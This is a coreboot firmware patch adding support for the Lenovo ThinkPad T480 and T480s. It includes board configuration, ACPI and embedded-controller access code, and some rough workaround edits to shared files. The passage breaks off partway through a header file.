src/mainboard/lenovo/sklkbl_thinkpad/ec.c | 153 +++++++++++++ + src/mainboard/lenovo/sklkbl_thinkpad/ec.h | 99 +++++++++ + src/mainboard/lenovo/sklkbl_thinkpad/gpio.h | 8 + + .../lenovo/sklkbl_thinkpad/ramstage.c | 105 +++++++++ + .../sklkbl_thinkpad/variants/t480/data.vbt | Bin 0 -> 4106 bytes + .../variants/t480/gma-mainboard.ads | 19 ++ + .../sklkbl_thinkpad/variants/t480/gpio.c | 203 ++++++++++++++++++ + .../sklkbl_thinkpad/variants/t480/hda_verb.c | 90 ++++++++ + .../variants/t480/memory_init_params.c | 20 ++ + .../variants/t480/overridetree.cb | 103 +++++++++ + .../sklkbl_thinkpad/variants/t480s/data.vbt | Bin 0 -> 4106 bytes + .../variants/t480s/gma-mainboard.ads | 19 ++ + .../sklkbl_thinkpad/variants/t480s/gpio.c | 199 +++++++++++++++++ + .../sklkbl_thinkpad/variants/t480s/hda_verb.c | 90 ++++++++ + .../variants/t480s/memory_init_params.c | 44 ++++ + .../variants/t480s/overridetree.cb | 103 +++++++++ + .../variants/t480s/spd/spd_0.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_1.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_10.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_11.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_12.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_13.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_14.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_15.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_16.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_17.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_18.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_19.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_2.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_20.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_3.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_4.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_5.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_6.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_7.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_8.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_9.bin | Bin 0 -> 512 bytes + 49 files changed, 1583 insertions(+), 6 deletions(-) + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/Kconfig + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/Kconfig.name + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/Makefile.mk + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/acpi/ec.asl + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/acpi/superio.asl + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/bootblock.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/devicetree.cb + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/ec.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/ec.h + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/gpio.h + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/ramstage.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/data.vbt + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gma-mainboard.ads + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gpio.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/hda_verb.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/memory_init_params.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/overridetree.cb + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/data.vbt + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gma-mainboard.ads + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gpio.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/hda_verb.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/memory_init_params.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/overridetree.cb + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_0.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_1.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_10.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_11.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_12.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_13.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_14.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_15.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_16.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_17.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_18.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_19.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_2.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_20.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_3.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_4.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_5.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_6.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_7.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_8.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_9.bin + +diff --git a/src/device/pci_rom.c b/src/device/pci_rom.c +index 1e212ab216..83f44bec05 100644 +--- a/src/device/pci_rom.c ++++ b/src/device/pci_rom.c +@@ -313,11 +313,13 @@ void pci_rom_ssdt(const struct device *device) + return; + } + ++#if 0 + const char *scope = acpi_device_path(device); + if (!scope) { + printk(BIOS_ERR, "%s: Missing ACPI scope\n", dev_path(device)); + return; + } ++#endif + + /* Supports up to four devices. */ + if ((CBMEM_ID_ROM0 + ngfx) > CBMEM_ID_ROM3) { +@@ -345,7 +347,7 @@ void pci_rom_ssdt(const struct device *device) + memcpy(cbrom, rom, cbrom_length); + + /* write _ROM method */ +- acpigen_write_scope(scope); ++ acpigen_write_scope("\\_SB.PCI0.RP01.PEGP"); + acpigen_write_rom(cbrom, cbrom_length); + acpigen_pop_len(); /* pop scope */ + } +diff --git a/src/ec/lenovo/h8/acpi/ec.asl b/src/ec/lenovo/h8/acpi/ec.asl +index bc54d3b422..8f4a8e1986 100644 +--- a/src/ec/lenovo/h8/acpi/ec.asl ++++ b/src/ec/lenovo/h8/acpi/ec.asl +@@ -331,7 +331,7 @@ Device(EC) + #include "sleepbutton.asl" + #include "lid.asl" + #include "beep.asl" +-#include "thermal.asl" ++//#include "thermal.asl" + #include "systemstatus.asl" + #include "thinkpad.asl" + } +diff --git a/src/ec/lenovo/h8/bluetooth.c b/src/ec/lenovo/h8/bluetooth.c +index 16fc8dce39..be71a24ced 100644 +--- a/src/ec/lenovo/h8/bluetooth.c ++++ b/src/ec/lenovo/h8/bluetooth.c +@@ -1,6 +1,6 @@ + /* SPDX-License-Identifier: GPL-2.0-only */ + +-#include ++// #include + #include + #include + #include +@@ -28,16 +28,18 @@ bool h8_has_bdc(const struct device *dev) + { + struct ec_lenovo_h8_config *conf = dev->chip_info; + +- if (!conf->has_bdc_detection) { ++ if (1 || !conf->has_bdc_detection) { + printk(BIOS_INFO, "H8: BDC detection not implemented. " + "Assuming BDC installed\n"); + return true; + } + ++#if 0 + if (get_gpio(conf->bdc_gpio_num) == conf->bdc_gpio_lvl) { + printk(BIOS_INFO, "H8: BDC installed\n"); + return true; + } ++#endif + + printk(BIOS_INFO, "H8: BDC not installed\n"); + return false; +diff --git a/src/ec/lenovo/h8/wwan.c b/src/ec/lenovo/h8/wwan.c +index 685886fcce..5cdcf77406 100644 +--- a/src/ec/lenovo/h8/wwan.c ++++ b/src/ec/lenovo/h8/wwan.c +@@ -1,6 +1,6 @@ + /* SPDX-License-Identifier: GPL-2.0-only */ + +-#include ++// #include + #include + #include + #include +@@ -26,16 +26,18 @@ bool h8_has_wwan(const struct device *dev) + { + struct ec_lenovo_h8_config *conf = dev->chip_info; + +- if (!conf->has_wwan_detection) { ++ if (1 || !conf->has_wwan_detection) { + printk(BIOS_INFO, "H8: WWAN detection not implemented. " + "Assuming WWAN installed\n"); + return true; + } + ++#if 0 + if (get_gpio(conf->wwan_gpio_num) == conf->wwan_gpio_lvl) { + printk(BIOS_INFO, "H8: WWAN installed\n"); + return true; + } ++#endif + + printk(BIOS_INFO, "H8: WWAN not installed\n"); + return false; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig b/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig +new file mode 100644 +index 0000000000..4998672943 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig +@@ -0,0 +1,57 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++config BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ bool ++ select BOARD_ROMSIZE_KB_16384 ++ select EC_LENOVO_H8 ++ select EC_LENOVO_PMH7 ++ select H8_HAS_BAT_THRESHOLDS_IMPL ++ select H8_HAS_LEDLOGO ++ select H8_HAS_PRIMARY_FN_KEYS ++ select HAVE_ACPI_RESUME ++ select HAVE_ACPI_TABLES ++ select INTEL_GMA_HAVE_VBT ++ select INTEL_INT15 ++ select MAINBOARD_HAS_LIBGFXINIT ++ select MAINBOARD_HAS_TPM2 ++ select MAINBOARD_USES_IFD_GBE_REGION ++ select MEMORY_MAPPED_TPM ++ select SOC_INTEL_COMMON_BLOCK_HDA_VERB ++ select SOC_INTEL_KABYLAKE ++ select SPD_READ_BY_WORD ++ select SYSTEM_TYPE_LAPTOP ++ ++config BOARD_LENOVO_T480 ++ bool ++ select BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ ++config BOARD_LENOVO_T480S ++ bool ++ select BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ ++if BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ ++config MAINBOARD_DIR ++ default "lenovo/sklkbl_thinkpad" ++ ++config VARIANT_DIR ++ default "t480" if BOARD_LENOVO_T480 ++ default "t480s" if BOARD_LENOVO_T480S ++ ++config OVERRIDE_DEVICETREE ++ default "variants/\$(CONFIG_VARIANT_DIR)/overridetree.cb" ++ ++config MAINBOARD_PART_NUMBER ++ default "T480" if BOARD_LENOVO_T480 ++ default "T480s" if BOARD_LENOVO_T480S ++ ++config CBFS_SIZE ++ default 0x900000 ++ ++config DIMM_MAX ++ default 2 ++ ++config DIMM_SPD_SIZE ++ default 512 # DDR4 ++ ++endif +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig.name b/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig.name +new file mode 100644 +index 0000000000..abc273f387 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig.name +@@ -0,0 +1,7 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++config BOARD_LENOVO_T480 ++ bool "ThinkPad T480" ++ ++config BOARD_LENOVO_T480S ++ bool "ThinkPad T480s" +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/Makefile.mk b/src/mainboard/lenovo/sklkbl_thinkpad/Makefile.mk +new file mode 100644 +index 0000000000..c308239177 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/Makefile.mk +@@ -0,0 +1,73 @@ ++## SPDX-License-Identifier: GPL-2.0-only ++ ++bootblock-y += bootblock.c ec.c ++ ++romstage-y += variants/$(VARIANT_DIR)/memory_init_params.c ++ ++ramstage-y += ramstage.c ec.c ++ramstage-y += variants/$(VARIANT_DIR)/gpio.c variants/$(VARIANT_DIR)/hda_verb.c ++ramstage-$(CONFIG_MAINBOARD_USE_LIBGFXINIT) += variants/$(VARIANT_DIR)/gma-mainboard.ads ++ ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_0.bin ++spd_0.bin-file := variants/$(VARIANT_DIR)/spd/spd_0.bin ++spd_0.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_1.bin ++spd_1.bin-file := variants/$(VARIANT_DIR)/spd/spd_1.bin ++spd_1.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_2.bin ++spd_2.bin-file := variants/$(VARIANT_DIR)/spd/spd_2.bin ++spd_2.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_3.bin ++spd_3.bin-file := variants/$(VARIANT_DIR)/spd/spd_3.bin ++spd_3.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_4.bin ++spd_4.bin-file := variants/$(VARIANT_DIR)/spd/spd_4.bin ++spd_4.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_5.bin ++spd_5.bin-file := variants/$(VARIANT_DIR)/spd/spd_5.bin ++spd_5.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_6.bin ++spd_6.bin-file := variants/$(VARIANT_DIR)/spd/spd_6.bin ++spd_6.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_7.bin ++spd_7.bin-file := variants/$(VARIANT_DIR)/spd/spd_7.bin ++spd_7.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_8.bin ++spd_8.bin-file := variants/$(VARIANT_DIR)/spd/spd_8.bin ++spd_8.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_9.bin ++spd_9.bin-file := variants/$(VARIANT_DIR)/spd/spd_9.bin ++spd_9.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_10.bin ++spd_10.bin-file := variants/$(VARIANT_DIR)/spd/spd_10.bin ++spd_10.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_11.bin ++spd_11.bin-file := variants/$(VARIANT_DIR)/spd/spd_11.bin ++spd_11.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_12.bin ++spd_12.bin-file := variants/$(VARIANT_DIR)/spd/spd_12.bin ++spd_12.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_13.bin ++spd_13.bin-file := variants/$(VARIANT_DIR)/spd/spd_13.bin ++spd_13.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_14.bin ++spd_14.bin-file := variants/$(VARIANT_DIR)/spd/spd_14.bin ++spd_14.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_15.bin ++spd_15.bin-file := variants/$(VARIANT_DIR)/spd/spd_15.bin ++spd_15.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_16.bin ++spd_16.bin-file := variants/$(VARIANT_DIR)/spd/spd_16.bin ++spd_16.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_17.bin ++spd_17.bin-file := variants/$(VARIANT_DIR)/spd/spd_17.bin ++spd_17.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_18.bin ++spd_18.bin-file := variants/$(VARIANT_DIR)/spd/spd_18.bin ++spd_18.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_19.bin ++spd_19.bin-file := variants/$(VARIANT_DIR)/spd/spd_19.bin ++spd_19.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_20.bin ++spd_20.bin-file := variants/$(VARIANT_DIR)/spd/spd_20.bin ++spd_20.bin-type := raw +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/acpi/ec.asl b/src/mainboard/lenovo/sklkbl_thinkpad/acpi/ec.asl +new file mode 100644 +index 0000000000..3a949a2fca +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/acpi/ec.asl +@@ -0,0 +1,12 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#define BRIGHTNESS_UP \_SB.PCI0.GFX0.INCB ++#define BRIGHTNESS_DOWN \_SB.PCI0.GFX0.DECB ++#define THINKPAD_EC_GPE 22 ++ ++Name(\TCRT, 100) ++Name(\TPSV, 90) ++Name(\FLVL, 0) ++ ++#include ++#include +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/acpi/superio.asl b/src/mainboard/lenovo/sklkbl_thinkpad/acpi/superio.asl +new file mode 100644 +index 0000000000..55b1db5b11 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/acpi/superio.asl +@@ -0,0 +1,3 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/bootblock.c b/src/mainboard/lenovo/sklkbl_thinkpad/bootblock.c +new file mode 100644 +index 0000000000..fb660dbdfa +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/bootblock.c +@@ -0,0 +1,60 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++#include ++#include ++#include "ec.h" ++ ++static void configure_uart(uint16_t port, uint16_t iobase, uint8_t irqno) ++{ ++ microchip_pnp_enter_conf_state(port); ++ ++ // Select LPC I/F LDN ++ pnp_write(port, PNP_LDN_SELECT, LDN_LPCIF); ++ // Write UART BAR ++ pnp_write_le32(port, LPCIF_BAR_UART, (uint32_t) iobase << 16 | 0x8707); ++ // Set SIRQ4 to UART ++ pnp_write(port, LPCIF_SIRQ(irqno), LDN_UART); ++ ++ // Configure UART LDN ++ pnp_write(port, PNP_LDN_SELECT, LDN_UART); ++ pnp_write(port, UART_ACTIVATE, 0x01); ++ pnp_write(port, UART_CONFIG_SELECT, 0x00); ++ ++ microchip_pnp_exit_conf_state(port); ++ ++#ifdef CONFIG_BOARD_LENOVO_T480 ++ // Supply debug unlock key ++ debug_write_key(DEBUG_RW_KEY_IDX, debug_rw_key); ++ ++ // Use debug writes to set UART_TX and UART_RX GPIOs ++ debug_write_dword(0xf0c400 + 0x110, 0x00001000); ++ debug_write_dword(0xf0c400 + 0x114, 0x00001000); ++#endif ++} ++ ++ ++#define UART_PORT 0x3f8 ++#define UART_IRQ 4 ++ ++void bootblock_mainboard_early_init(void) ++{ ++ // Tell EC via BIOS Debug Port 1 that the world isn't on fire ++ ++ // Let the EC know that BIOS code is running ++ outb(0x11, 0x86); ++ outb(0x6e, 0x86); ++ ++ // Enable accesses to EC1 interface ++ ec0_write(0, ec0_read(0) | 0x20); ++ ++ // Reset LEDs to power on state ++ // (Without this warm reboot leaves LEDs off) ++ ec0_write(0x0c, 0x80); ++ ec0_write(0x0c, 0x07); ++ ec0_write(0x0c, 0x8a); ++ ++ // Setup debug UART ++ configure_uart(EC_CFG_PORT, UART_PORT, UART_IRQ); ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/devicetree.cb b/src/mainboard/lenovo/sklkbl_thinkpad/devicetree.cb +new file mode 100644 +index 0000000000..c07d4d53ca +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/devicetree.cb +@@ -0,0 +1,71 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++chip soc/intel/skylake ++ # IGD Displays ++ register "gfx" = "GMA_STATIC_DISPLAYS(0)" ++ ++ register "panel_cfg" = "{ ++ .up_delay_ms = 200, ++ .down_delay_ms = 50, ++ .cycle_delay_ms = 600, ++ .backlight_on_delay_ms = 1, ++ .backlight_off_delay_ms = 200, ++ .backlight_pwm_hz = 200, ++ }" ++ ++ # Power ++ register "PmConfigSlpS3MinAssert" = "2" # 50ms ++ register "PmConfigSlpS4MinAssert" = "1" # 1s ++ register "PmConfigSlpSusMinAssert" = "3" # 500ms ++ register "PmConfigSlpAMinAssert" = "3" # 2s ++ ++ device domain 0 on ++ device ref igpu on end ++ device ref sa_thermal on end ++ device ref thermal on end ++ device ref south_xhci on end ++ device ref lpc_espi on ++ register "serirq_mode" = "SERIRQ_CONTINUOUS" ++ ++ register "gen1_dec" = "0x007c1601" ++ register "gen2_dec" = "0x000c15e1" ++ ++ chip ec/lenovo/pmh7 ++ register "backlight_enable" = "true" ++ register "dock_event_enable" = "true" ++ device pnp ff.1 on end # dummy ++ end ++ ++ chip ec/lenovo/h8 ++ register "beepmask0" = "0x00" ++ register "beepmask1" = "0x86" ++ register "config0" = "0xa6" ++ register "config1" = "0x0d" ++ register "config2" = "0xa8" ++ register "config3" = "0xc4" ++ register "has_keyboard_backlight" = "1" ++ register "event2_enable" = "0xff" ++ register "event3_enable" = "0xff" ++ register "event4_enable" = "0xd0" ++ register "event5_enable" = "0x3c" ++ register "event7_enable" = "0x01" ++ register "event8_enable" = "0x7b" ++ register "event9_enable" = "0xff" ++ register "eventc_enable" = "0xff" ++ register "eventd_enable" = "0xff" ++ register "evente_enable" = "0x9d" ++ device pnp ff.2 on # dummy ++ io 0x60 = 0x62 ++ io 0x62 = 0x66 ++ io 0x64 = 0x1600 ++ io 0x66 = 0x1604 ++ end ++ end ++ ++ chip drivers/pc80/tpm ++ device pnp 0c31.0 on end ++ end ++ end ++ device ref hda on end ++ end ++end +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl b/src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl +new file mode 100644 +index 0000000000..aa4d4de2a6 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl +@@ -0,0 +1,33 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++DefinitionBlock( ++ "dsdt.aml", ++ "DSDT", ++ ACPI_DSDT_REV_2, ++ OEM_ID, ++ ACPI_TABLE_CREATOR, ++ 0x20110725 ++) ++{ ++ #include ++ #include ++ #include ++ ++ Device (\_SB.PCI0) ++ { ++ #include ++ #include ++ #include ++ } ++ ++ Scope (\_SB.PCI0.RP01) ++ { ++ Device (PEGP) ++ { ++ Name (_ADR, Zero) ++ } ++ } ++ ++ #include ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/ec.c b/src/mainboard/lenovo/sklkbl_thinkpad/ec.c +new file mode 100644 +index 0000000000..adb6a60324 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/ec.c +@@ -0,0 +1,153 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include "ec.h" ++ ++#define MICROCHIP_CONFIGURATION_ENTRY_KEY 0x55 ++#define MICROCHIP_CONFIGURATION_EXIT_KEY 0xaa ++ ++void microchip_pnp_enter_conf_state(uint16_t port) ++{ ++ outb(MICROCHIP_CONFIGURATION_ENTRY_KEY, port); ++} ++ ++void microchip_pnp_exit_conf_state(uint16_t port) ++{ ++ outb(MICROCHIP_CONFIGURATION_EXIT_KEY, port); ++} ++ ++uint8_t pnp_read(uint16_t port, uint8_t index) ++{ ++ outb(index, port); ++ return inb(port + 1); ++} ++ ++uint32_t pnp_read_le32(uint16_t port, uint8_t index) ++{ ++ return (uint32_t) pnp_read(port, index) | ++ (uint32_t) pnp_read(port, index + 1) << 8 | ++ (uint32_t) pnp_read(port, index + 2) << 16 | ++ (uint32_t) pnp_read(port, index + 3) << 24; ++} ++ ++void pnp_write(uint16_t port, uint8_t index, uint8_t value) ++{ ++ outb(index, port); ++ outb(value, port + 1); ++} ++ ++void pnp_write_le32(uint16_t port, uint8_t index, uint32_t value) ++{ ++ pnp_write(port, index, value & 0xff); ++ pnp_write(port, index + 1, value >> 8 & 0xff); ++ pnp_write(port, index + 2, value >> 16 & 0xff); ++ pnp_write(port, index + 3, value >> 24 & 0xff); ++} ++ ++static void ecN_clear_out_queue(uint16_t cmd_port, uint16_t data_port) ++{ ++ while (inb(cmd_port) & EC_OBF) ++ inb(data_port); ++} ++ ++static void ecN_wait_to_send(uint16_t cmd_port, uint16_t data_port) ++{ ++ while (inb(cmd_port) & EC_IBF) ++ ; ++} ++ ++static void ecN_wait_to_recv(uint16_t cmd_port, uint16_t data_port) ++{ ++ while (!(inb(cmd_port) & EC_OBF)) ++ ; ++} ++ ++uint8_t ecN_read(uint16_t cmd_port, uint16_t data_port, uint8_t addr) ++{ ++ ecN_clear_out_queue(cmd_port, data_port); ++ ecN_wait_to_send(cmd_port, data_port); ++ outb(EC_READ, cmd_port); ++ ecN_wait_to_send(cmd_port, data_port); ++ outb(addr, data_port); ++ ecN_wait_to_recv(cmd_port, data_port); ++ return inb(data_port); ++} ++ ++void ecN_write(uint16_t cmd_port, uint16_t data_port, uint8_t addr, uint8_t val) ++{ ++ ecN_clear_out_queue(cmd_port, data_port); ++ ecN_wait_to_send(cmd_port, data_port); ++ outb(EC_WRITE, cmd_port); ++ ecN_wait_to_send(cmd_port, data_port); ++ outb(addr, data_port); ++ ecN_wait_to_send(cmd_port, data_port); ++ outb(val, data_port); ++} ++ ++uint8_t eeprom_read(uint16_t addr) ++{ ++ ecN_clear_out_queue(EC2_CMD, EC2_DATA); ++ ecN_wait_to_send(EC2_CMD, EC2_DATA); ++ outl(1, EC2_CMD); ++ ecN_wait_to_send(EC2_CMD, EC2_DATA); ++ outl(addr, EC2_DATA); ++ ecN_wait_to_recv(EC2_CMD, EC2_DATA); ++ return inl(EC2_DATA); ++} ++ ++void eeprom_write(uint16_t addr, uint8_t val) ++{ ++ ecN_clear_out_queue(EC2_CMD, EC2_DATA); ++ ecN_wait_to_send(EC2_CMD, EC2_DATA); ++ outl(2, EC2_CMD); ++ ecN_wait_to_send(EC2_CMD, EC2_DATA); ++ outl((uint32_t) addr | (uint32_t) val << 16, EC2_DATA); ++ ecN_wait_to_recv(EC2_CMD, EC2_DATA); ++ inl(EC2_DATA); ++} ++ ++uint16_t debug_loaded_keys(void) ++{ ++ return (uint16_t) ec0_read(0x87) << 8 | (uint16_t) ec0_read(0x86); ++} ++ ++static void debug_cmd(uint8_t cmd) ++{ ++ ec0_write(EC_DEBUG_CMD, cmd); ++ while (ec0_read(EC_DEBUG_CMD) & 0x80) ++ ; ++} ++ ++void debug_read_key(uint8_t i, uint8_t *key) ++{ ++ debug_cmd(0x80 | (i & 0xf)); ++ for (int j = 0; j < 8; ++j) ++ key[j] = ec0_read(0x3e + j); ++} ++ ++void debug_write_key(uint8_t i, const uint8_t *key) ++{ ++ for (int j = 0; j < 8; ++j) ++ ec0_write(0x3e + j, key[j]); ++ debug_cmd(0xc0 | (i & 0xf)); ++} ++ ++uint32_t debug_read_dword(uint32_t addr) ++{ ++ ecN_clear_out_queue(EC3_CMD, EC3_DATA); ++ ecN_wait_to_send(EC3_CMD, EC3_DATA); ++ outl(addr << 8 | 0xE2, EC3_DATA); ++ ecN_wait_to_recv(EC3_CMD, EC3_DATA); ++ return inl(EC3_DATA); ++} ++ ++void debug_write_dword(uint32_t addr, uint32_t val) ++{ ++ ecN_clear_out_queue(EC3_CMD, EC3_DATA); ++ ecN_wait_to_send(EC3_CMD, EC3_DATA); ++ outl(addr << 8 | 0xEA, EC3_DATA); ++ ecN_wait_to_send(EC3_CMD, EC3_DATA); ++ outl(val, EC3_DATA); ++} ++ ++const uint8_t debug_rw_key[8] = { 0x7a, 0x41, 0xb1, 0x49, 0xfe, 0x21, 0x01, 0xcf }; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/ec.h b/src/mainboard/lenovo/sklkbl_thinkpad/ec.h +new file mode 100644 +index 0000000000..d2963c8962 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/ec.h +@@ -0,0 +1,99 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#ifndef SKLKBL_THINKPAD_EC_H ++#define SKLKBL_THINKPAD_EC_H ++ ++// EC configuration base address ++#define EC_CFG_PORT 0x4e ++ ++// Chip global registers ++#define PNP_LDN_SELECT 0x07 ++# define LDN_UART 0x07 ++# define LDN_LPCIF 0x0c ++#define EC_DEVICE_ID 0x20 ++#define EC_DEVICE_REV 0x21 ++ ++// LPC I/F registers ++#define LPCIF_SIRQ(i) (0x40 + (i)) ++ ++#define LPCIF_BAR_CFG 0x60 ++#define LPCIF_BAR_MAILBOX 0x64 ++#define LPCIF_BAR_8042 0x68 ++#define LPCIF_BAR_ACPI_EC0 0x6c ++#define LPCIF_BAR_ACPI_EC1 0x70 ++#define LPCIF_BAR_ACPI_EC2 0x74 ++#define LPCIF_BAR_ACPI_EC3 0x78 ++#define LPCIF_BAR_ACPI_PM0 0x7c ++#define 